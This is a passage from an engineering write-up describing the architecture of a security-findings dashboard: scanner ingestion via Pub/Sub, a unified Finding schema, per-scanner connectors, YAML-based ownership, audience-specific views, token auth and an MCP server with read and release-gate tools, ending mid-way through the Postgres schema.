<h2>2. Architecture at a glance</h2>
<pre><code class="language-plaintext">+--------------------------------------------------------------------+
|  Sources                                                           |
|  Dependency Scanner * SAST Scanner * Container Scanner             |
|  CNAPP * Attack Surface Scanner * GRC Platform * Pentest          |
+------+-------------------------------------------------------------+
       |  REST / GraphQL pulls * CI SARIF uploads * manual PDFs
       v
+--------------------------------------------------------------------+
|  Ingestion layer -- Cloud Run Jobs, one per source                 |
|  Output: full snapshot to object storage + 1 Pub/Sub message       |
|  carrying {source, poll_id, raw_uri}                               |
+------+-------------------------------------------------------------+
       v
+--------------------------------------------------------------------+
|  Normalizer -- Cloud Run Service, push-subscribed to Pub/Sub       |
|   1. Idempotency guard (UNIQUE on processed_payloads)              |
|   2. Map to unified Finding schema                                 |
|   3. Resolve owner_team from ownership.yaml                        |
|   4. UPSERT findings; emit FindingEvent on every change            |
|   5. Auto-close findings absent from N consecutive snapshots       |
|   6. Commit (atomic per snapshot)                                  |
+------+-------------------------------------------------------------+
       v
+--------------------------------------------------------------------+
|  Storage                                                           |
|   * Postgres: findings * finding_events * daily_metrics *          |
|     processed_payloads * api_tokens * risk_accepts * report_jobs   |
|   * Object storage: raw scan payloads (1-year retention)           |
+------+-------------------------------------------------------------+
       v
+--------------------------------------------------------------------+
|  Nightly rollup job -- daily_metrics                               |
|  (Powers trend charts without scanning the raw table every load.)  |
+------+-------------------------------------------------------------+
       v
+--------------------------+    +------------------------------------+
|  FastAPI (Cloud Run)     |    |  MCP Server (Cloud Run, public,   |
|  * Auth at the edge      |&lt;---+  bearer-only)                     |
|  * RBAC per request      |    |  * Forwards caller's bearer       |
|  * One set of endpoints  |    |    token to the API               |
+--------------------------+    |  * Exposes read + gate tools      |
           v                    |  * Same RBAC, same contract       |
+--------------------------+    +------------------------------------+
|  Next.js frontend        |
|  Executive / Developer / |
|  Platform / Admin views  |
+--------------------------+
</code></pre>
<p>The shape is deliberately boring. Each box has one job; the seams between boxes are real network calls (not in-process function calls dressed up as a "service"), so when something is on fire I can answer "which box?" before I answer "which line?"</p>
<p>The stack:</p>
<ul>
<li><p><strong>Backend</strong>: FastAPI + SQLAlchemy 2.x + Alembic, Python 3.12.</p>
</li>
<li><p><strong>Frontend</strong>: Next.js 16 (App Router, server components, Turbopack), React 19, Tailwind CSS, Recharts, React Query (5-minute stale).</p>
</li>
<li><p><strong>Database</strong>: Postgres (managed, regional, HA).</p>
</li>
<li><p><strong>Messaging</strong>: Pub/Sub, push subscription with dead-letter topic.</p>
</li>
<li><p><strong>Object storage</strong>: GCS, 1-year retention on raw scan payloads.</p>
</li>
<li><p><strong>Compute</strong>: Cloud Run (services + jobs) -- autoscale-to-zero everywhere except the API.</p>
</li>
<li><p><strong>IaC</strong>: Terraform.</p>
</li>
<li><p><strong>MCP</strong>: Anthropic's <code>mcp</code> Python SDK, <code>streamable-http</code> transport in production, <code>stdio</code> in local dev.</p>
</li>
</ul>
<hr />
<h2>3. The Finding -- a single schema that scanners speak through</h2>
<p>Everything downstream (the dashboard, the API, the MCP, the metrics) sits on <strong>one</strong> entity:</p>
<pre><code class="language-python">class Finding:
    id: UUID                         # uuid5(NAMESPACE, f"{source}:{native_id}")
    source: str                      # "dependency_scanner" | "sast_scanner" | "container_scanner" | ...
    native_id: str                   # per-source identifier (defined in an ADR)

    title: str
    description: str
    severity: Enum                   # critical | high | medium | low | info
    cve_id: str | None
    cwe_id: str | None

    asset_id: str                    # repo:owner/name * image:registry/path * cloud:project/...
    asset_root: str                  # used to correlate across scanners
    owner_team: str                  # resolved from ownership.yaml; "unowned" if missing
    correlation_group_id: UUID | None  # links the same CVE across scanners

    status: Enum                     # open | triaged | in_progress | fixed |
                                     # auto_closed | risk_accepted | suppressed

    first_seen_at: datetime          # when I first ingested it (provenance only)
    last_seen_at: datetime           # touched every ingest, no event emitted
    upstream_created_at: datetime    # the source's own creation time -- THE age anchor
    reopened_at: datetime | None     # set on auto_closed -&gt; open transitions
    consecutive_misses: int          # increments per snapshot the finding is absent

    raw_payload_uri: str             # gs:// link to the original scanner JSON
    tags: list[str]

    @property
    def sla_started_at(self) -&gt; datetime:
        # coalesce(reopened_at, upstream_created_at, first_seen_at)
        # This is what every age display, SLA check, and MTTR calculation reads.
        ...
</code></pre>
<p>A few decisions in there are load-bearing enough to spell out.</p>
<h3>3.1 Identity is deterministic, not random</h3>
<pre><code class="language-python">Finding.id = uuid5(NAMESPACE_PLATFORM, f"{source}:{native_id}")
</code></pre>
<p>The <code>(source, native_id)</code> pair is the <strong>sole</strong> identity contract. Every source defines its <code>native_id</code> explicitly (e.g. for the dependency scanner it's <code>{owner}/{repo}#{alert_number}</code>; for the SAST scanner it's <code>{org}/{project_key}#{issue_key}</code>). Same scanner, same alert, same UUID, forever, with no database round-trip required to compute it.</p>
<p>This single decision is responsible for the fact that ingestion is <strong>idempotent</strong>. Re-running yesterday's poll is a no-op. Pub/Sub redelivers a message and we UPSERT the same UUIDs and nothing duplicates. The cost of doing this wrong (non-deterministic IDs) is duplicated findings, broken auto-close, and an audit log that gaslights you about whether a vulnerability is the same vulnerability you closed last week.</p>
<h3>3.2 Age is anchored upstream, not at ingest</h3>
<p>This sounds pedantic until it bites you.</p>
<p>A naive dashboard sets <code>created_at = NOW()</code> when a finding is first ingested. So when you bring on a new source today, every finding ever reported by that source (including the one that's been open in the vendor system for 200 days) reads as "0 days old, 0 SLA breaches." The headline KPI shows your team in great shape on a day they're objectively the worst they've been all year.</p>
<p>The fix is to read the vendor's own creation timestamp and use that as the SLA anchor:</p>
<pre><code class="language-python">sla_started_at = coalesce(reopened_at, upstream_created_at, first_seen_at)
</code></pre>
<p>Why the <code>coalesce</code>? <code>reopened_at</code> wins if it's set, because a reopened finding gets a fresh SLA window. <code>upstream_created_at</code> wins next, because that's the truth. <code>first_seen_at</code> is the fallback for sources that don't expose a creation time at all.</p>
<p>The two implementations of this rule (a Python <code>@property</code> for response payloads and a SQL <code>func.coalesce(...)</code> for <code>ORDER BY</code> and aggregate queries) are kept in lockstep by tests. Drift here would mean the chart on the dashboard disagreed with the breach count on the same page.</p>
<h3>3.3 Per-scanner findings, with correlation groups</h3>
<p>When a CVE is reported by both the dependency scanner (the repo) and the container scanner (the image built from that repo), I keep <strong>two</strong> finding rows. They share a nullable <code>correlation_group_id</code>, and views decide whether to deduplicate.</p>
<p>The temptation is to merge at ingest. I didn't, for three reasons:</p>
<ol>
<li><p><strong>Independent fix lifecycles</strong> -- closing the dependency alert says nothing about whether the image was rebuilt. The container is still vulnerable until it's pulled with the new SHA.</p>
</li>
<li><p><strong>Status-merge logic is fragile</strong> -- whose status wins when two scanners disagree? Every answer is wrong sometimes.</p>
</li>
<li><p><strong>The gap is the point</strong> -- the delta between "source-level fixed" and "runtime-level fixed" is exactly what platform engineers need to see.</p>
</li>
</ol>
<p>So the rule is: dedup is a view-layer concern. The Executive view dedups by correlation group for the headline KPIs. The Platform view shows everything per-scanner so the rebuild gap is visible.</p>
<h3>3.4 Auto-close is its own status, not "fixed"</h3>
<p>When a scanner stops reporting a finding for N consecutive polls, I transition it to <code>auto_closed</code> -- <strong>not</strong> <code>fixed</code>. Because I genuinely don't know.</p>
<pre><code class="language-plaintext">| Source                    | Misses to auto-close |
|---------------------------|----------------------|
| Dependency Scanner        | 3                    |
| SAST Scanner              | 2                    |
| Container Scanner         | 3                    |
| CNAPP                     | 3                    |
| Attack Surface Scanner    | 3                    |
| GRC Platform              | 2                    |
| Pentest                   | never (manual only)  |
</code></pre>
<p>A finding disappearing from a snapshot could mean the developer fixed it (great), the developer suppressed it upstream (also valid, but a different state), or the scanner had a transient outage and missed a poll (I don't want to false-close on that, hence the consecutive-miss threshold).</p>
<p>Calling all three <code>fixed</code> is dishonest. Calling them <code>auto_closed</code> is honest, preserves the audit trail, and lets MTTR count them as closures without erasing the distinction.</p>
<p>If a previously auto-closed finding reappears, I transition <code>auto_closed -&gt; open</code>, set <code>reopened_at = now()</code>, <strong>keep the original</strong> <code>first_seen_at</code>, restart the SLA clock from <code>reopened_at</code>, and emit a <code>FindingEvent(event_type=reopened)</code>. Same UUID. Same audit log. Different SLA window.</p>
<hr />
<h2>4. Ingestion: snapshot-per-message, Pub/Sub, atomic auto-close</h2>
<p>Each pull-mode scanner has a <strong>poller</strong> -- a Cloud Run Job triggered by Cloud Scheduler. The poller's job is tiny and deliberately stupid:</p>
<ol>
<li><p>Hit the vendor's API. Follow pagination. Assemble the full response.</p>
</li>
<li><p>Write it to <code>gs://[raw-findings-bucket]/{source}/{poll_id}.json</code>.</p>
</li>
<li><p>Publish one Pub/Sub message: <code>{source, poll_id, raw_uri}</code>.</p>
</li>
</ol>
<p>That's the entire poller. No parsing, no DB writes, no business logic. It's the smallest possible thing that could be replaced when (not if) the vendor's API changes.</p>
<p>The <strong>normalizer</strong> is a Cloud Run Service, push-subscribed to the ingest topic. On every message it runs one DB transaction:</p>
<pre><code class="language-plaintext">1. INSERT processed_payloads(source, poll_id)
   ON CONFLICT DO NOTHING
   -- if the row already exists, ack and return (Pub/Sub redelivery, work is done)

2. Download the raw payload from object storage and parse it.

3. UPSERT every finding in the snapshot:
   - new                -&gt; INSERT, emit `discovered`, set first_seen_at = now
   - reopened           -&gt; status auto_closed -&gt; open, emit `reopened`,
                          set reopened_at = now, preserve first_seen_at
   - per-field changed  -&gt; emit one typed FindingEvent per (severity / status /
                          title / description) change
   - always             -&gt; last_seen_at = now, consecutive_misses = 0

4. ABSENT findings of the same source (still in an open status):
   - consecutive_misses += 1 (bulk UPDATE, no events)

5. Findings whose consecutive_misses crossed the source's threshold:
   - status -&gt; auto_closed, emit `auto_closed`

6. Commit.
</code></pre>
<p>Two things that matter about this:</p>
<p><strong>Auto-close runs inside the snapshot transaction.</strong> Not as a nightly cron. The set of findings present in the snapshot and the set of findings <em>not</em> present are computed against the same point in time, atomically. There is no window where I've ingested the snapshot but haven't yet aged the absent ones.</p>
<p><strong>Idempotency is the cheapest possible thing.</strong> <code>UNIQUE(source, poll_id)</code> on <code>processed_payloads</code>. Pub/Sub redelivers a message, <code>INSERT ... ON CONFLICT DO NOTHING</code> returns no row, I ack and exit. The whole guard is one indexed insert.</p>
<p>If the transaction fails (malformed payload, vendor schema change, transient DB error), the message NACKs. Pub/Sub redelivers up to five times, then sends it to a dead-letter topic. A separate Cloud Run Service subscribed to the DLQ pings my webhook so on-call sees it. The raw payload is in object storage for a year, so replay is always trivial.</p>
<h3>4.1 The "snapshot vs. event" choice</h3>
<p>I considered publishing one message per finding instead of one per snapshot. It's more "stream-native" and parallelises trivially. I rejected it for one specific reason: <strong>auto-close becomes a coordination problem.</strong> Per-finding messages mean the normalizer has to know "have all the messages from poll P been processed?" before it can decide what's absent. That requires a <code>poll_complete</code> sentinel or sequence numbers, neither of which Pub/Sub does natively. Per-snapshot makes the whole problem disappear.</p>
<p>The downside: a poisoned snapshot (malformed payload, schema drift) takes the whole poll to the DLQ instead of degrading gracefully. I pay that cost in exchange for atomic per-poll semantics and replay-from-object-storage.</p>
<hr />
<h2>5. The connectors -- what each scanner actually looks like in code</h2>
<p>The shape of every connector is identical: <strong>poll API, write raw, publish message</strong>. What changes per source is the mapper that converts the vendor's JSON into the unified <code>Finding</code> schema.</p>
<h3>5.1 Dependency Scanner</h3>
<pre><code class="language-plaintext">GET /orgs/{org}/dependency/alerts?state=open&amp;per_page=100
</code></pre>
<p>Native ID: <code>dependency_scanner:{owner}/{repo}#{alert_number}</code> (format defined in an ADR, stable across rescans). Alert numbers are assigned by the upstream system and stable across rescans, so the derived UUID stays put.</p>
<p>Severity comes straight off the advisory severity field and maps 1:1 to my enum.</p>
<p>Owner team resolution: the alert's <code>repository.full_name</code> (<code>owner/repo</code>) is looked up in <code>ownership.yaml.assets[*]</code> where <code>id = "repo:owner/repo"</code>. Hit stamps <code>owner_team</code>. Miss stamps <code>unowned</code> and the finding shows up on the Admin view's triage list.</p>
<h3>5.2 SAST Scanner</h3>
<p>This is the messiest connector and is worth dwelling on.</p>
<pre><code class="language-plaintext">GET {SAST_BASE_URL}/api/issues/search
    ?organization={org}
    &amp;types=VULNERABILITY
    &amp;statuses=OPEN,CONFIRMED,REOPENED
    &amp;ps=500&amp;p=N
</code></pre>
<p>Three things to highlight:</p>
<p><strong>(a) Severity is intentionally remapped down.</strong> The SAST scanner's <code>CRITICAL</code> tier is broader than mine -- it includes things I'd call "high." Promoting it would inflate the headline <code>open_criticals</code> KPI. The mapper uses a conservative table:</p>
<pre><code class="language-plaintext">BLOCKER  -&gt; critical
CRITICAL -&gt; high       &lt;- deliberately demoted
MAJOR    -&gt; medium
MINOR    -&gt; low
INFO     -&gt; info
</code></pre>
<p>Changing that table changes a load-bearing metric. It requires an Architecture Decision Record edit, not a casual diff. I pin it with a test.</p>
<p><strong>(b) Multi-organization support is real.</strong> Some orgs run more than one SAST organization (different billing units, acquisitions, etc.). The poller takes a CSV environment variable of org keys and runs them sequentially, publishing one message per org. Each message carries its own <code>organization</code> field so the mapper can prefix native IDs correctly.</p>
<p><strong>(c) External issues get split into a separate logical source.</strong> The SAST scanner lets teams import third-party scanner reports as "external issues." If a team has done this, container scanner CVE entries surface on the same issues search response as native SAST rule violations, indistinguishable by type (both report as <code>VULNERABILITY</code>).</p>
<p>I detect them with two signals (either is sufficient):</p>
<ol>
<li><p>The <code>rule</code> field matches <code>external_&lt;engineId&gt;:&lt;ruleId&gt;</code> where the engine portion contains a known container scanner identifier.</p>
</li>
<li><p>The issue's <code>message</code> contains a deep-link URL that the container scanner hard-codes in every CVE finding.</p>
</li>
</ol>
<p>Findings that match get routed to a separate logical source (<code>sast_scanner_external</code>) that is admin-only by default. They're excluded from every team-facing view so that turning on external-issue imports doesn't suddenly inflate every team's posture overnight. Admins see them on a dedicated triage section.</p>
<p>The deterministic UUID is source-stable -- derived from the SAST scanner namespace regardless of which side of the split the finding lands on. So when the detection logic improves on a future deploy, an existing row that's now recognisable as a container finding gets reclassified in place on the next poll, with no history loss.</p>
<h3>5.3 Container Scanner (CI-uploaded SARIF)</h3>
<p>The poller pattern doesn't fit the container scanner because it runs in CI, not against an API. Instead:</p>
<ol>
<li><p>CI uploads the SARIF artifact to <code>gs://[raw-findings-bucket]/container/{poll_id}.sarif</code>.</p>
</li>
<li><p>A GCS notification publishes a Pub/Sub message to the same ingest topic.</p>
</li>
<li><p>The normalizer recognises the source and routes to the container scanner mapper.</p>
</li>
</ol>
<p>Same downstream shape, different on-ramp. The seam is honest because the ingest topic only ever carries <code>{source, poll_id, raw_uri}</code> -- it doesn't care whether <code>raw_uri</code> was put there by a poller or by a CI job.</p>
<h3>5.4 CNAPP, Attack Surface Scanner, GRC Platform, Pentest</h3>
<p>The other connectors follow the same two patterns. The CNAPP and GRC platform are pollers (snapshot-per-poll). The attack surface scanner is CI-uploaded (snapshot-per-CI-run). Pentest reports are uploaded manually through the dashboard UI; risk-accept is the <strong>only</strong> lifecycle operation allowed on them directly in the dashboard, because pentest findings have no upstream system of record to defer to.</p>
<hr />
<h2>6. Ownership in YAML, not in a CMDB</h2>
<p>Every finding gets stamped with an <code>owner_team</code> at normalization time. The source of truth is <code>ownership.yaml</code>, versioned in git:</p>
<pre><code class="language-yaml">pillars:
  product-a:
    name: "Product A"
  product-b:
    name: "Product B"
  platform:
    name: "Platform"

assets:
  - id: repo:org/orders-api
    type: github_repo
    team: orders-team

  - id: repo:org/payments-monorepo
    type: github_repo
    team: payments-shared      # first-wins for repos owned by multiple teams

  - id: sast_proj:org-billing-service
    type: sast_project         # synthetic asset for monorepos with
                               # per-service SAST project keys
    team: billing-team

  - id: image:registry/org/orders-api
    type: container_image
    team: orders-team

teams:
  orders-team:
    pillar: product-a
    display_name: "Orders"
    slack: "#orders-team"      # optional opt-in for finding alerts
    engineering_manager:
      name: "Engineering Manager Name"
      email: "em@org.example.com"
    members:
      - dev1@org.example.com
      - dev2@org.example.com
</code></pre>
<p>A few things this gives for free:</p>
<p><strong>Auditable.</strong> Every change is a PR with a reviewer and a diff. No CMDB drift, no Slack DM that nobody remembers.</p>
<p><strong>One source of truth.</strong> The same YAML feeds the dashboard's owner column, the developer view's team filter, the per-team metrics, and the routing of opt-in Slack alerts.</p>
<p><strong>Pluggable.</strong> Adding a metadata field (Jira project, on-call rotation, security PoC, anything) is a YAML edit and a loader change, not a schema migration.</p>
<p><strong>Tells the truth about gaps.</strong> Assets not in the YAML get stamped <code>owner_team = "unowned"</code> -- never silently dropped. They surface on the Admin view with a clear resolution path: add an entry, redeploy. The alternative ("just guess from the repo name") is wrong in roughly the same fraction of cases that you'd want to know about.</p>
<p>When <code>ownership.yaml</code> changes (which is a Terraform-mediated config refresh), a re-resolution job replays existing findings against the new map and emits <code>FindingEvent(event_type=ownership_changed)</code> for every row that moves. So the audit trail shows you not just <em>who owns this today</em> but <em>who used to own this before the takeover</em>.</p>
<hr />
<h2>7. The three (well, four) audience views</h2>
<p>A unified backend is only half the win. The other half is <strong>stop shipping one dashboard for everyone</strong>. The C-suite, a developer, and a platform engineer all need to look at the same data with completely different shapes.</p>
<h3>7.1 Executive view</h3>
<p>One screen. No scrolling. No row-level finding tables. No filters. Read-only.</p>
<p>A <strong>pillar selector</strong> at the top splits the org into product pillars; the selector pills carry per-pillar open-critical counts on the chip itself, so the split is visible at a glance. A <strong>KPI strip</strong> shows open criticals (with week-over-week delta), SLA compliance %, and MTTR for criticals (rolling 30 days). A <strong>90-day stacked-area trend chart</strong> shows open findings by severity. A <strong>ranked offender list</strong> covers every sub-team in the pillar with a "By team / By service" toggle.</p>
<p>Auto-refreshes every five minutes silently. Designed to live on an always-on screen in a security director's office.</p>
<h3>7.2 Developer view</h3>
<p>Charts-first. The findings table is behind a <code>&lt;details&gt;</code> disclosure so the page is fast and quiet by default; clicking a card auto-expands the table pre-filtered to that slice.</p>
<p>The lead row is <strong>three independent per-source ratings</strong> -- SAST Scanner, Dependency Scanner, Pentest -- each an A-D grade. Developers think per-source: the daily question is not "what's my composite letter" but "how is my team doing on SAST this week, and is anything still open from last quarter's pentest?"</p>
<p>The high-volume code scanners share one ladder:</p>
<pre><code class="language-plaintext">A: 0 criticals AND 0 highs
B: &lt;= 2 criticals AND &lt;= 10 highs
C: &lt;= 10 criticals AND &lt;= 30 highs
D: &gt; 10 criticals OR &gt; 30 highs
</code></pre>
<p>Pentest gets a stricter, severity-weighted ladder (every pentest finding is a deliberate professional alarm -- a single critical lands the team at C, not D):</p>
<pre><code class="language-plaintext">A: 0c AND 0h AND 0m
B: 0c AND 0h AND &lt;= 2m
C: 1c OR 1-2h OR &gt;= 3m
D: &gt;= 2c OR &gt;= 3h
</code></pre>
<p>Default filter across every findings table: <strong>severity in {critical, high}</strong>. Lower severities are reachable via a row of severity pills or "Clear all filters." Dashboards drive remediation; remediation is critical and high. The default-everything view buries the signal.</p>
<h3>7.3 Platform view</h3>
<p>Identical shape to the Developer view (same <code>&lt;PosturePanel&gt;</code> component, parameterised by team scope, header text, and deep-link base path). Different data -- hard-scoped to the platform engineering teams' assets. The two views looking and reading the same is intentional: developers and platform engineers should never have to relearn the UI when they switch context.</p>
<h3>7.4 Admin view</h3>
<p>Operational triage surface for the security team: an unowned posture KPI strip, a scanner health grid (last seen, expected cadence, status), and triage disclosures for unowned findings and admin-only external issues.</p>
<p>The admin role is a per-email superuser flag -- holders see org-wide data on every other view too. It's not a separate scope; it's a capability that widens the data they can see.</p>
<hr />
<h2>8. Auth at the edge -- and how AI assistants get in</h2>
<h3>8.1 Browser auth</h3>
<p>Every browser request hits an <strong>Identity-Aware Proxy</strong> at the cloud load balancer. Access is controlled at the network edge; the application layer enforces a simple two-tier model: can you reach the dashboard at all, and can you see admin-only surfaces. There is no complex role hierarchy -- all access-control nuance lives at the edge or in the page's own scope logic.</p>
<p>The simplicity is the feature. Role models grow weed-like complexity over time. I resisted by keeping the model flat and letting each view choose its own data scope. The result is RBAC logic that fits on a sticky note.</p>
<h3>8.2 Non-browser auth (the MCP path)</h3>
<p>AI assistants can't complete a browser login flow. So I need a separate credential -- and I want it to be <strong>self-service</strong>, so any user with dashboard access can wire up Claude or Cursor without filing a ticket.</p>
<p>The mechanism is <strong>personal API tokens</strong> generated from the dashboard settings page. Tokens are high-entropy, not user-chosen, stored hashed, and revocable at any time. Each user can hold a small number of active tokens with optional expiry windows. Plaintext is shown once at creation only.</p>
<p>Permissions are re-evaluated on every API call against the current access list, so revoking access takes effect immediately across all outstanding tokens with no propagation delay.</p>
<h3>8.3 Hosted MCP transport</h3>
<p>The hosted MCP service accepts <code>streamable-http</code> transport and forwards the caller's token to the API. A valid token is required on every request -- there is no unauthenticated path in the hosted deployment. The local development path is network-isolated and not reachable from the public endpoint.</p>
<hr />
<h2>9. The MCP server -- one tool, every persona</h2>
<p>This is where the dashboard stops being a destination and starts being <strong>plumbing for the tools people already live in</strong>. The design goal is deliberately ambitious: the same MCP server, the same four tools, serves a developer in Cursor, a security engineer running Claude from the CLI, and a CI pipeline in GitHub Actions -- without any of them needing a different contract or a different integration.</p>
<h3>9.1 The tools</h3>
<p>Phase 1 is intentionally small. Four read-only tools:</p>
<pre><code class="language-python">@mcp.tool()
async def get_findings(
    ctx: Context,
    team: str | None = None,
    repo: str | None = None,
    asset: str | None = None,
    severity: list[Severity] | None = None,
    status: list[Status] | None = None,
    source: str | None = None,
    limit: int = 50,
) -&gt; dict[str, Any]:
    """List open security findings. Filters combine with AND;
    multi-value filters combine with OR within themselves."""
    ...

@mcp.tool()
async def get_sla_breaches(
    ctx: Context, team: str | None = None, limit: int = 50
) -&gt; dict[str, Any]:
    """List open critical+high findings past their SLA window,
    sorted by age descending."""
    ...

@mcp.tool()
async def get_scanner_health(ctx: Context) -&gt; dict[str, Any]:
    """Per-source status: active / stale / dark / no_data."""
    ...

@mcp.tool()
async def get_metrics_summary(
    ctx: Context, team: str | None = None, trend_days: int = 30
) -&gt; dict[str, Any]:
    """Headline KPIs (open_criticals, sla_compliance_pct, mttr) plus
    a per-severity trend over the last N days. Optionally narrow by team."""
    ...
</code></pre>
<p>Each one is a thin wrapper over an existing API endpoint. The MCP layer adds zero business logic -- it's a translation surface, not a second source of truth. The same RBAC and the same default visibility rules apply because the same API enforces them. A developer calling <code>get_findings</code> sees only their team's assets. A security engineer with admin rights sees the whole org. The token determines the scope; the tool is identical.</p>
<h3>9.2 Setup is under a minute</h3>
<p>The dashboard renders copy-paste config snippets at <code>/settings/mcp</code> for each supported client. The Cursor variant is one file:</p>
<pre><code class="language-json">{
  "mcpServers": {
    "security-dashboard": {
      "url": "https://mcp.your-org.example.com/mcp",
      "headers": {
        "Authorization": "Bearer &lt;your-token&gt;"
      }
    }
  }
}
</code></pre>
<p>Drop that into <code>.cursor/mcp.json</code>, reload the window, and the four tools above show up in the assistant. The Claude Desktop variant is one JSON block in <code>claude_desktop_config.json</code>. The same server, different client config.</p>
<h3>9.3 The agentic loop in practice</h3>
<p>The reason the MCP approach is worth the investment is that it collapses <strong>three separate workflows</strong> into one continuous session. Here's what that looks like concretely:</p>
<p><strong>The developer session (Cursor or Claude Desktop):</strong></p>
<blockquote>
<p><strong>You:</strong> what are my open critical findings on the orders-api repo?</p>
</blockquote>
<blockquote>
<p><strong>Cursor (calls</strong> <code>get_findings(repo="org/orders-api", severity=["critical"])</code><strong>):</strong> You have three open criticals on <code>org/orders-api</code>:</p>
<ol>
<li><p><strong>CVE-2025-XXXXX in</strong> <code>lib-foo@2.4.1</code> -- Dependency Scanner, opened 14 days ago, SLA breach in 3 days. Fix available in <code>2.4.3</code>.</p>
</li>
<li><p><strong>CWE-79 (Cross-site Scripting) in</strong> <code>src/handlers/feedback.ts:42</code> -- SAST Scanner, opened 6 days ago.</p>
</li>
<li><p><strong>Pentest finding "Unauthenticated GraphQL introspection"</strong> -- Pentest 2026-Q1, opened 47 days ago, already past SLA.</p>
</li>
</ol>
</blockquote>
<blockquote>
<p><strong>You:</strong> let's fix the dependency scanner one. open a branch and bump the dep.</p>
</blockquote>
<blockquote>
<p><strong>Cursor:</strong> Created branch <code>security/cve-2025-xxxxx-lib-foo</code>. Bumped <code>lib-foo</code> from <code>2.4.1</code> to <code>2.4.3</code> in <code>package.json</code> and refreshed the lockfile. Ran the test suite -- all green. Want me to open the PR?</p>
</blockquote>
<blockquote>
<p><strong>You:</strong> yes, link the finding ID in the description and tag the security team.</p>
</blockquote>
<blockquote>
<p><strong>Cursor:</strong> Opened PR #847: <a href="...">"chore(deps): bump lib-foo to 2.4.3 (closes finding <code>[finding-id]:c91f...</code>)"</a> Added the <code>security</code> label and requested review from <code>@security-team</code>. The PR description includes the dashboard deep-link.</p>
</blockquote>
<p>After the PR merges and CI redeploys, the dependency scanner rescan triggers, the alert closes upstream, and the next snapshot picks up the absence. After three consecutive misses, the finding auto-closes in the dashboard with a <code>FindingEvent(event_type=auto_closed)</code> in the audit log.</p>
<p>But the developer doesn't have to wait for that. They can re-query immediately:</p>
<blockquote>
<p><strong>You:</strong> is finding <code>[finding-id]:c91f...</code> still open?</p>
</blockquote>
<blockquote>
<p><strong>Cursor (calls</strong> <code>get_findings(...)</code> <strong>filtered to that finding's slice):</strong> The finding is still listed as <code>open</code>, but the underlying alert is now in <code>dismissed/fixed</code> state. The dashboard will auto-close it after three consecutive misses from the poller (next ingest cycle in ~45 min). I can ping you again in an hour, or you can re-run this query then.</p>
</blockquote>
<p><strong>The security engineer session (Claude CLI, org-wide scope):</strong></p>
<p>A security engineer running Claude with admin token access uses the exact same tools, but sees the full org:</p>
<blockquote>
<p><strong>You:</strong> which teams have the most SLA breaches right now?</p>
</blockquote>
<blockquote>
<p><strong>Claude (calls</strong> <code>get_sla_breaches()</code><strong>):</strong> Four teams are currently over SLA on criticals: payments-shared (6 findings, oldest 43 days), orders-team (3 findings), infra (2 findings), unowned (11 findings -- no team assigned yet).</p>
</blockquote>
<blockquote>
<p><strong>You:</strong> what's the scanner health looking like?</p>
</blockquote>
<blockquote>
<p><strong>Claude (calls</strong> <code>get_scanner_health()</code><strong>):</strong> The SAST scanner last polled 2 hours ago (active). Container scanner last seen 19 hours ago (stale -- expected cadence is 6h, CI job may have failed). GRC Platform last seen 4 hours ago (active). Dependency Scanner last seen 1 hour ago (active).</p>
</blockquote>
<p>The security engineer gets a Monday-morning org posture report without opening a single browser tab.</p>
<p><strong>The CI pipeline (GitHub Actions, automated gate):</strong></p>
<p>Phase 2 closes the loop with one new tool, called from CI:</p>
<pre><code class="language-python">@mcp.tool()
async def gate_release(
    ctx: Context,
    service: str,
    commit_sha: str,
) -&gt; dict[str, Any]:
    """Returns the open critical+high findings against the service.
    Caller (GitHub Actions) treats a non-empty result as a release block
    unless every finding has an active risk_accept or is on an allow-list."""
</code></pre>
<p>A release pipeline calls <code>gate_release</code> on every push to a long-lived branch. If the result is empty (or every finding is covered by a risk-accept), the gate passes. If not, the developer gets a deep-link to the dashboard and a clear list of "you need to acknowledge or fix these N findings before this release goes out."</p>
<p>The point of placing the gate at the MCP layer rather than as a bespoke GitHub Action talking directly to the API: <strong>the same tool the developer uses to draft the fix is the tool the pipeline uses to verify it</strong>. There's no second contract to keep in sync. If the rules change (new severity floor, new exemption mechanism), they change in one place.</p>
<h3>9.4 Why "one tool, many people" is the real win</h3>
<p>A conventional approach would wire each persona to a different system: the developer consults the dashboard UI, the security engineer builds a spreadsheet, the CI pipeline hits a bespoke API endpoint. Each integration drifts independently. Each one needs its own auth story. Each one needs to be updated when the underlying data model changes.</p>
<p>The MCP approach collapses all three into a single versioned contract. When I add a new field to <code>get_findings</code>, every client gains it simultaneously -- the developer in Cursor, the security engineer in Claude, and the GitHub Actions step. When I tighten the RBAC rules, every token type respects them because they all flow through the same API. The blast radius of a change goes down; the consistency guarantee goes up.</p>
<p>The practical consequence: I can give any new engineer a token, point them at the MCP config snippet, and they're querying the full security posture of their team in under a minute, from whatever AI assistant they already have open, with no training on a new UI.</p>
<hr />
<h2>10. The Postgres schema, in one view</h2>
<p>For the curious, here's the storage shape that everything sits on:</p>
<pre><code class="language-sql">-- Findings: one row per scanner per native finding ID.
-- Identity is deterministic: id = uuid5(NAMESPACE_PLATFORM, source || ':' || native_id).
CREATE TABLE findings (
    id                    UUID         PRIMARY KEY,
    source                VARCHAR(64)  NOT NULL,
    native_id             VARCHAR(512) NOT NULL,
    title                 TEXT         NOT NULL,
    description           TEXT         NOT NULL DEFAULT '',
    severity              severity     NOT NULL,   -- enum
    cve_id                VARCHAR(64),
    cwe_id                VARCHAR(64),
    asset_id              VARCHAR(512) NOT NULL,
    asset_type            VARCHAR(64)  NOT NULL,
    asset_root            VARCHAR(512) NOT NULL,
    asset_display         VARCHAR(512) NOT NULL DEFAULT '',
    owner_team            VARCHAR(128) NOT NULL DEFAULT 'unowned',
    correlation_group_id  UUID,
    status                status       NOT NULL DEFAULT 'open',   -- enum
    first_seen_at         TIMESTAMPTZ  NOT NULL DEFAULT now(),
    last_seen_at          TIMESTAMPTZ  NOT NULL DEFAULT now(),
    upstream_created_at   TIMESTAMPTZ,
    reopened_at           TIMESTAMPTZ,
    consecutive_misses    INTEGER      NOT NULL DEFAULT 0,
    raw_payload_uri       TEXT,
    tags                  TEXT[]       NOT NULL DEFAULT '{}',

    UNIQUE (source, native_id)
);

-- Append-only event log. Every state change emits one row.
CREATE TABLE finding_events (
    id          BIGSERIAL    PRIMARY KEY,
    finding_id  UUID         NOT NULL REFERENCES findings(id) ON DELETE CASCADE,
    event_type  event_type   NOT NULL,   -- discovered | severity_changed |
                                         -- status_changed | fixed | suppressed |
                                         -- auto_closed | reopened |
                                         -- ownership_changed
    from_value  TEXT,
    to_value    TEXT         NOT NULL,
    occurred_at TIMESTAMPTZ  NOT NULL DEFAULT now(),
